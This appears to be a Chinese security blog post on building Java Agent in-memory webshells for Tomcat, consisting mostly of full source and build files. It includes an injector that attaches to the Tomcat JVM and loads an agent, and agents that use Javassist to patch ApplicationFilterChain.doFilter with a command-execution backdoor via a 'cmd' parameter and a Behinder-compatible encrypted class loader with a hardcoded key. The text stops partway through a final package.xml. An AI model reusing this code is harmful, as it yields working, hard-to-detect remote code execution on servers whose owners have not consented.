JDArmy Blog

Java Agent内存马研究学习

字数统计: 5.5k阅读时长: 30 min
2022/09/21

​ 根据Java Agent内存马演变历史进行研究学习:

第一阶段:

    1. 上传inject.jar到服务器用来枚举jvm并进行植入;
    2. 上传agent.jar到服务器用来承载webshell功能;
    3. 执行系统命令java -jar inject.jar。

第二阶段:

    1. 上传agent.jar到服务器用来承载webshell功能;
    2. 冰蝎服务端调用Java API将agent.jar植入自身进程完成注入。

第三阶段:

  • 内存马防检测
  • 无文件落地agent植入技术

第四阶段:

  • 《论如何优雅的注入Java Agent内存马》

0x01 Java Agent概述

​ 在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,可以让我们动态修改已加载或者未加载的类,包括类的属性和方法。

​ 而Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去。

Java Agent 支持两种加载方式对java程序进行动态修改,分别为:

  1. premain 方法,在启动时进行加载 。
  2. agentmain 方法,在启动后进行加载 。

详细信息可以看官方文档:https://docs.oracle.com/en/java/javase/18/docs/api/java.instrument/java/lang/instrument/package-summary.html

0x02 Java Agent内存马初步实现

​ 因为内存马是针对已经在运行的Web应用设计的,因此我主要学习研究方向是启动后加载agent实现内存马

​ 因此主要学习如何将一个agent加载进jvm里、学习agent在被加载后需要实施的行为(将恶意代码动态写进类里)。

1.加载agent方法

VirtualMachine

com.sun.tools.attach.VirtualMachine这个类提供attachdetachlistloadAgent等方法用来实现附加到JAVA虚拟机、从虚拟机分离、列出当前JAVA虚拟机列表、加载Agent等操作。

Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),以此让当前的JAVA程序远程连接到JVM上。

1
VirtualMachine vm = VirtualMachine.attach(v.id());

loadAgent:在我们的JAVA程序附加到指定的JVM后,可以使用该方法向JVM加载一个agent,同时会给该agent传递一个Instrumentation实例,该实例可以用来在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。

List:返回一个 VirtualMachineDescriptor元素列表,可以展示当前计算机环境中所有JAVA虚拟机,我们可以用来选择对应的虚拟机进行ATTACH。

Detach:从 JVM 上面解除agent。

注入流程总结:首先使用VirtualMachine 类的list方法,列出当前环境的所有JVM,之后 attach 到一个运行中的 java 进程上,再然后使用loadAgent(agentJarPath) 来将agent 的 jar包注入到对应的进程.

Inject.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

/**
* @Author: reader-l
* @Date: 2022/9/4 下午11:17
*/
public class insertAgentMain {
public static void main(String[] args) {
String path = "AgentInject-1.0-SNAPSHOT-jar-with-dependencies.jar";
List<VirtualMachineDescriptor> list = VirtualMachine.list();
//遍历当前所有的JVM
for (VirtualMachineDescriptor v : list) {
System.out.println(v.displayName());
//寻找我们要Attach的JVM及类名
if (v.displayName().contains("org.apache.catalina.startup.Bootstrap")) {
System.out.println(v.id());
VirtualMachine attach = null;
try {
//根据JVM的pid进行attach
attach = VirtualMachine.attach(v.id());
//将我们设计的agent加载进指定JVM
attach.loadAgent(path);

attach.detach();
} catch (AttachNotSupportedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (AgentLoadException e) {
e.printStackTrace();
} catch (AgentInitializationException e) {
e.printStackTrace();
}
}
}
}
}

MANIFEST.MF

1
2
Manifest-Version: 1.0
Main-Class: insertAgentMain

pom.xml

实现将agent附加到jvm中,必须使用到VirtualMachine类,但是JVM启动的时候并不会默认加载tools.jar包(也就是com.sun.tools.attach),所以要嘛一开始就把tools.jar包打包进去,要嘛就是利用URLClassLoader加载目标机器上的tools.jar。

下面的POM.xml就是一开始就将tools.jar包打包进去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>insertAgent</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.tools.attach</groupId>
<artifactId>MyTools</artifactId>
<version>1.0</version>
<scope>system</scope>
<systemPath>${pom.basedir}/lib/GenericAgentTools.jar</systemPath>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<!-- get all project dependencies -->
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>

<!-- MainClass in mainfest make a executable jar -->
<archive>
<manifestEntries>
<Project-name>${project.name}</Project-name>
<Project-version>${project.version}</Project-version>
<Main-Class>insertAgentMain</Main-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
<descriptors>
<descriptor>src/assembly/package.xml</descriptor>
</descriptors>
</configuration>
<executions>
<!-- bind to the packaging phase -->
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>

</plugins>
</build>
</project>

Package.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<assembly xmlns="http://maven.apache.org/ASSEMBLY/2.1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/ASSEMBLY/2.1.1 https://maven.apache.org/xsd/assembly-2.1.1.xsd">

<id>jar-with-dependencies</id>
<formats>
<format>jar</format>
</formats>
<includeBaseDirectory>false</includeBaseDirectory>
<dependencySets>
<dependencySet>
<outputDirectory>/</outputDirectory>
<useProjectArtifact>true</useProjectArtifact>
<unpack>true</unpack>
<scope>runtime</scope>
</dependencySet>
<dependencySet>
<outputDirectory>/</outputDirectory>
<unpack>true</unpack>
<scope>system</scope>
</dependencySet>
</dependencySets>
</assembly>

2.编写agent

实现启动后加载Agent,需要编写实现agentmain函数:

1
2
public static void agentmain(String agentArgs, Instrumentation inst)
public static void agentmain(String agentArgs)

​ 同时我们需要在MANIFEST.MF设置:Agent-Class参数。

Instrumentation

​ 我们在实现agentmain的时候,我们除了获取agentArgs参数,我们还可以获取Instrumentation实例。这个类是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。

addTransformer

​ 该方法是用来注册添加Transformer,Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,

1
2
3
addTransformer(ClassFileTransformer transformer)
addTransformer(ClassFileTransformer transformer, boolean canRetransform)

​ 所以我可以通过编写ClassFileTransformer 接口的实现类来注册自定义转换器。这样我指定的目标类被夹在的时候,会进入到自定义的Transformer中的transform函数进行拦截。

​ 在transform函数里面可以用Javaassist ,一个用来 处理 Java 字节码的类库。

getAllLoadedClasses

getAllLoadedClasses 方法能列出所有已加载的 Class,可以通过遍历 Class 数组来寻找我们需要重定义的 class

retransformClasses

retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果目标类已经被加载的话,可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果

redefineClasses

除了用自定义Transformer对目标类进行重新拦截加载,还可以使用redefineClasses直接对已经修改的字节码文件进行重新定义。

agent.jar(一)-retransformClasses

agentmain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;


public class AgentInject {
public static final String className = "org.apace.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new Transformer(),true);
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class clazz : loadedClasses){
System.out.println(clazz.getName());
if (clazz.getName().equals(className)){
System.out.println(className);;
inst.retransformClasses(new Class[]{clazz});
}


}
}
}

Transformer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {

String CLASSNAME = "org.apace.catalina.core.ApplicationFilterChain";

public byte[] transform(ClassLoader classLoader, String className, Class<?> c, ProtectionDomain pd ,byte[] classFileBytes){
if (className.equals(CLASSNAME)){
ClassPool classPool = ClassPool.getDefault();

String code = " String cmd = request.getParameter(\"cmd\");\n" +
" if(cmd != null){\n" +
" java.lang.Runtime runtime = java.lang.Runtime.getRuntime();\n" +
" Process resultprocess = runtime.exec(new String[]{\"/bin/bash\",\"-c\",cmd});\n" +
" InputStream inputStream = resultprocess.getInputStream();\n" +
" BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);\n" +
" ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n" +
" int read;\n" +
" while ((read = bufferedInputStream.read()) > 0 ){\n" +
" byteArrayOutputStream.write(read);\n" +
" }\n" +
" java.io.PrintWriter writer = response.getWriter();\n" +
" writer.println(new String(byteArrayOutputStream.toByteArray()));\n" +
" }";
try{
CtClass ctClass = classPool.get(CLASSNAME);
CtMethod doFilter = ctClass.getDeclaredMethod("doFilter");
doFilter.insertBefore(code);
byte[] bytes = ctClass.toBytecode();

}catch (Exception e){
e.printStackTrace();
}

}
return new byte[0];
}

}

MANIFEST.MF

1
2
3
4
Manifest-Version: 1.0
Agent-Class: AgentInject
Can-Redefine-Classes: true
Can-Retransform-Classes: true

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>AgentInject</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.1-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<!-- get all project dependencies -->
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>

<!-- MainClass in mainfest make a executable jar -->
<archive>

<manifestEntries>
<Project-name>${project.name}</Project-name>
<Project-version>${project.version}</Project-version>
<Agent-Class>AgentInject</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
<executions>
<!-- bind to the packaging phase -->
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>

</plugins>
</build>
</project>

利用maven进行编译打包,会得到AgentInject-1.0-SNAPSHOT-jar-with-dependencies.jar 携带完整依赖的jar包。

agent.jar(二)-redefineClasses

agentmain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

/**
* @Author: reader-l
* @Date: 2022/9/2 下午3:50
*/
public class AgentInject {
public static final String className = "org.apace.catalina.core.ApplicationFilterChain";
public static final String methodName= "doFilter";
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
Class[] loadedClasses = inst.getAllLoadedClasses();
for (Class clazz : loadedClasses){
if (clazz.getName().equals(className)){
ClassPool classPool = ClassPool.getDefault();
try {
CtClass ctClass = classPool.get(clazz.getName());
CtMethod declaredMethod = ctClass.getDeclaredMethod(methodName);
String code = " String cmd = request.getParameter(\"cmd\");\n" +
" if(cmd != null){\n" +
" java.lang.Runtime runtime = java.lang.Runtime.getRuntime();\n" +
" Process resultprocess = runtime.exec(new String[]{\"/bin/bash\",\"-c\",cmd});\n" +
" InputStream inputStream = resultprocess.getInputStream();\n" +
" BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);\n" +
" ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n" +
" int read;\n" +
" while ((read = bufferedInputStream.read()) > 0 ){\n" +
" byteArrayOutputStream.write(read);\n" +
" }\n" +
" java.io.PrintWriter writer = response.getWriter();\n" +
" writer.println(new String(byteArrayOutputStream.toByteArray()));\n" +
" }";
declaredMethod.insertBefore(code);
byte[] bytes = ctClass.toBytecode();
ClassDefinition classDefinition = new ClassDefinition(clazz, bytes);
inst.redefineClasses(new ClassDefinition[]{classDefinition});
ctClass.detach();
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException | IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}

}
}
}
}

3.演示demo

直接执行java -jar insertAgent-1.0-SNAPSHOT-jar-with-dependencies.jar

虽然有报错,但是都正常执行了。

0x03 Java Agent内存马-inject、agent二合一

直接尝试注入冰蝎4.0.5。同时针对tools.jar,直接利用目标机器上的jdk环境的tools.jar包。

Attach:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

import java.io.File;
import java.lang.reflect.Method;

public class Attach {
public static String CLASS_NAME = "org.apache.catalina.startup.Bootstrap";
public static void main(String[] args) throws Exception {
String property = System.getProperty("user.dir");
System.out.println(property);
String agentPath = property+"/AgentInject-1.0-SNAPSHOT-jar-with-dependencies.jar";
String toolspath = System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar";
System.out.println(toolspath);
File file = new File(toolspath);
java.net.URL url = file.toURI().toURL();
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class<?> VirtualMachine = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> VirtualMachineDescriptor = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
java.lang.reflect.Method listMethod = VirtualMachine.getMethod("list");
java.util.List<Object> list = (java.util.List<Object>)listMethod.invoke(VirtualMachine);
for ( int i = 0 ; i < list.size() ; i++ ){
Object o = list.get(i);
java.lang.reflect.Method displayNameMethod = VirtualMachineDescriptor.getMethod("displayName");
String display = (String) displayNameMethod.invoke(o);
System.out.println(display);
if (display.contains(CLASS_NAME)){
java.lang.reflect.Method getId = VirtualMachineDescriptor.getDeclaredMethod("id");
String jvmid = (String) getId.invoke(o);
System.out.println(jvmid);
Method attach = VirtualMachine.getDeclaredMethod("attach", new Class[]{java.lang.String.class});
Object vm = attach.invoke(o, new Object[]{jvmid});
java.lang.reflect.Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent", new Class[]{java.lang.String.class});
loadAgent.invoke(vm, new Object[]{agentPath});
java.lang.reflect.Method detach = VirtualMachine.getDeclaredMethod("detach");
detach.invoke(vm);
System.out.println("Agent.jar Inject success!!");
break;
}
}
}
}

Agent:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Agent {
public static final String CLASS_NAME = "org.apache.catalina.core.ApplicationFilterChain";
public static final String METHODNAME = "doFilter";
public static void agentmain(String args, Instrumentation inst) throws ClassNotFoundException, UnmodifiableClassException, InterruptedException {
Class<?>[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class<?> clazz : allLoadedClasses){
if (clazz.getName().equals(CLASS_NAME)){
ClassPool classPool = ClassPool.getDefault();
ClassClassPath classClassPath = new ClassClassPath(clazz);
classPool.insertClassPath(classClassPath);
try {
CtClass ctClass = classPool.get(clazz.getName());
if (ctClass.isFrozen()){
//解决冻结
ctClass.defrost();
}
CtMethod declaredMethod = ctClass.getDeclaredMethod(METHODNAME);
String code =
" java.util.Map obj = new java.util.HashMap();\n" +
" javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest)request;\n" +
" obj.put(\"request\",httpServletRequest);\n" +
" obj.put(\"response\",response);\n" +
" obj.put(\"session\",httpServletRequest.getSession());\n" +
" java.io.ByteArrayOutputStream byteArrayOutputStream = new java.io.ByteArrayOutputStream();\n"+
" if (httpServletRequest.getMethod().equals(\"POST\")){\n" +
" byte[] bytes = new byte[1024];\n" +
" int read = httpServletRequest.getInputStream().read(bytes);\n" +
" while ( read > 0 ){\n" +
" byte[] data = java.util.Arrays.copyOfRange(bytes, 0, read);\n" +
" byteArrayOutputStream.write(data);\n" +
" read = httpServletRequest.getInputStream().read(bytes);\n" +
" }\n" +

" try {\n" +
" sun.misc.BASE64Decoder base64Decoder = new sun.misc.BASE64Decoder();\n" +
" byte[] decodebs = base64Decoder.decodeBuffer(new String(byteArrayOutputStream.toByteArray()));\n" +
" String key=\"e45e329feb5d925b\";\n" +
" for (int i = 0; i < decodebs.length; i++) {\n" +
" decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));\n" +
" }\n" +

"ClassLoader loader=this.getClass().getClassLoader();\n"+
"java.lang.reflect.Method defineMethod = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});\n" +
"defineMethod.setAccessible(true);\n" +
"java.lang.reflect.Constructor constructor = java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});\n" +
"constructor.setAccessible(true);\n" +
"java.lang.ClassLoader cl = (java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});\n" +
"java.lang.Class c = (java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(decodebs),null});\n" +
"c.newInstance().equals(obj);"+
" } catch (NoSuchMethodException e) {\n" +
" e.printStackTrace();\n" +
" } catch (java.lang.reflect.InvocationTargetException e) {\n" +
" e.printStackTrace();\n" +
" } catch (java.lang.IllegalAccessException e) {\n" +
" e.printStackTrace();\n" +
" } catch (java.lang.InstantiationException e) {\n" +
" e.printStackTrace();\n" +
" }\n" +
" }";
declaredMethod.insertBefore(code);
byte[] bytes = ctClass.toBytecode();
ClassDefinition classDefinition = new ClassDefinition(clazz, bytes);
inst.redefineClasses(new ClassDefinition[]{classDefinition});
} catch (NotFoundException | CannotCompileException | IOException e) {
e.printStackTrace();
}

}
}

}
}

MANIFEST.MF

1
2
3
4
5
Manifest-Version: 1.0
Main-Class: Attach
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

Pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>AgentInject</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>Attach</mainClass>
</manifest>
<manifestFile>src/main/java/META-INF/MANIFEST.MF</manifestFile>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

java -jar AgentInject-1.0-SNAPSHOT-jar-with-dependencies.jar 1

成功连接

0x04 编写代码遇到的问题

关于class is Frozen的报错,

https://blog.csdn.net/weixin_34417635/article/details/92682091

解决:

1
2
3
4
if (ctClass.isFrozen()){
//解决冻结
ctClass.defrost();
}

关于javassist no found such xxxx class的问题:

解决:

1
2
ClassClassPath classClassPath = new ClassClassPath(clazz);//clazz是我们要修改字节码的目标类。
classPool.insertClassPath(classClassPath);

0x05 关于tools.jar的问题

​ 因为java Agent不可避免的需要调用com.sun.tools.attach.VirtualMachine类,这个tools.jar在JVM启动的时候并不会默认加载。具体的解决方法在0x01-1点和0x03点都有提到:分别是提前将一个tools.jar包给打包进项目、利用ClassLoader加载目标机器jdk环境library中的tools.jar。

​ 我个人是推荐提前将一个tools.jar给打包进去项目里面。

我这里是直接将哥斯拉已经集成好的GenericAgentTools.jar拿来使用:

0x06 最终项目结构

Attach:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Attach {
public static String CLASS_NAME = "org.apache.catalina.startup.Bootstrap";
public static void main(String[] args){

String property = System.getProperty("user.dir");
String agentPath = property+"/AgentInject-1.0-SNAPSHOT-jar-with-dependencies.jar";
try {
Class.forName("sun.tools.attach.HotSpotAttachProvider");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
List<VirtualMachineDescriptor> list = VirtualMachine.list();
System.out.println(agentPath);
for (VirtualMachineDescriptor virtualMachineDescriptor : list){
// System.out.println(virtualMachineDescriptor.displayName());
if (virtualMachineDescriptor.displayName().contains(CLASS_NAME)){
String id = virtualMachineDescriptor.id();
try {
System.out.println(id);
VirtualMachine attach = VirtualMachine.attach(id);
attach.loadAgent(agentPath);
attach.detach();
} catch (AttachNotSupportedException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (AgentLoadException e) {
e.printStackTrace();
} catch (AgentInitializationException e) {
e.printStackTrace();
}
System.out.println("success");
}
}
}
}

Agent:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Agent {
public static final String CLASS_NAME = "org.apache.catalina.core.ApplicationFilterChain";
public static final String METHODNAME = "doFilter";
public static void agentmain(String args, Instrumentation inst) throws ClassNotFoundException, UnmodifiableClassException, InterruptedException {
Class<?>[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class<?> clazz : allLoadedClasses){
System.out.println(clazz.getName());
if (clazz.getName().equals(CLASS_NAME)){
System.out.println(clazz.getName());
ClassPool classPool = ClassPool.getDefault();
ClassClassPath classClassPath = new ClassClassPath(clazz);
classPool.insertClassPath(classClassPath);
try {
CtClass ctClass = classPool.get(clazz.getName());
if (ctClass.isFrozen()){
//解决冻结
ctClass.defrost();
}
CtMethod declaredMethod = ctClass.getDeclaredMethod(METHODNAME);
String code =
" java.util.Map obj = new java.util.HashMap();\n" +
" javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest)request;\n" +
" obj.put(\"request\",httpServletRequest);\n" +
" obj.put(\"response\",response);\n" +
" obj.put(\"session\",httpServletRequest.getSession());\n" +
" java.io.ByteArrayOutputStream byteArrayOutputStream = new java.io.ByteArrayOutputStream();\n"+
" if (httpServletRequest.getMethod().equals(\"POST\")){\n" +
" byte[] bytes = new byte[1024];\n" +
" int read = httpServletRequest.getInputStream().read(bytes);\n" +
" while ( read > 0 ){\n" +
" byte[] data = java.util.Arrays.copyOfRange(bytes, 0, read);\n" +
" byteArrayOutputStream.write(data);\n" +
" read = httpServletRequest.getInputStream().read(bytes);\n" +
" }\n" +

" try {\n" +
" sun.misc.BASE64Decoder base64Decoder = new sun.misc.BASE64Decoder();\n" +
" byte[] decodebs = base64Decoder.decodeBuffer(new String(byteArrayOutputStream.toByteArray()));\n" +
" String key=\"e45e329feb5d925b\";\n" +
" for (int i = 0; i < decodebs.length; i++) {\n" +
" decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));\n" +
" }\n" +

"ClassLoader loader=this.getClass().getClassLoader();\n"+
"java.lang.reflect.Method defineMethod = java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});\n" +
"defineMethod.setAccessible(true);\n" +
"java.lang.reflect.Constructor constructor = java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});\n" +
"constructor.setAccessible(true);\n" +
"java.lang.ClassLoader cl = (java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});\n" +
"java.lang.Class c = (java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(decodebs),null});\n" +
"c.newInstance().equals(obj);"+
" } catch (NoSuchMethodException e) {\n" +
" e.printStackTrace();\n" +
" } catch (java.lang.reflect.InvocationTargetException e) {\n" +
" e.printStackTrace();\n" +
" } catch (java.lang.IllegalAccessException e) {\n" +
" e.printStackTrace();\n" +
" } catch (java.lang.InstantiationException e) {\n" +
" e.printStackTrace();\n" +
" }\n" +
" }";
declaredMethod.insertBefore(code);
byte[] bytes = ctClass.toBytecode();
ClassDefinition classDefinition = new ClassDefinition(clazz, bytes);
inst.redefineClasses(new ClassDefinition[]{classDefinition});
} catch (NotFoundException | CannotCompileException | IOException e) {
e.printStackTrace();
}

}
}

}
}

MANIFEST.MF

1
2
3
4
5
Manifest-Version: 1.0
Main-Class: Attach
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

Pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>AgentInject</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>
<dependency>
<groupId>com.sun.tools.attach</groupId>
<artifactId>tools</artifactId>
<scope>system</scope>
<version>${java.version}</version>
<systemPath>${pom.basedir}/lib/GenericAgentTools.jar</systemPath>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>

<archive>
<manifestFile>src/main/java/META-INF/MANIFEST.MF</manifestFile>
</archive>
<descriptors>
<descriptor>src/assembly/package.xml</descriptor>
</descriptors>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>

package.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<assembly xmlns="http://maven.apache.org/ASSEMBLY/2.1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/ASSEMBLY/2.1.1 https://maven.apache.org/xsd/assembly-2.1.1.xsd">

<id>jar-with-dependencies</id>
<formats>
<format>jar</format>
</formats>
<includeBaseDirectory>false</includeBaseDirectory>
<dependencySets>
<dependencySet>
<outputDirectory>/</outputDirectory>
<useProjectArtifact>true</useProjectArtifact>
<unpack>true</unpack>
<scope>runtime</scope>
</dependencySet>
<dependencySet>
<outputDirectory>/</outputDirectory>
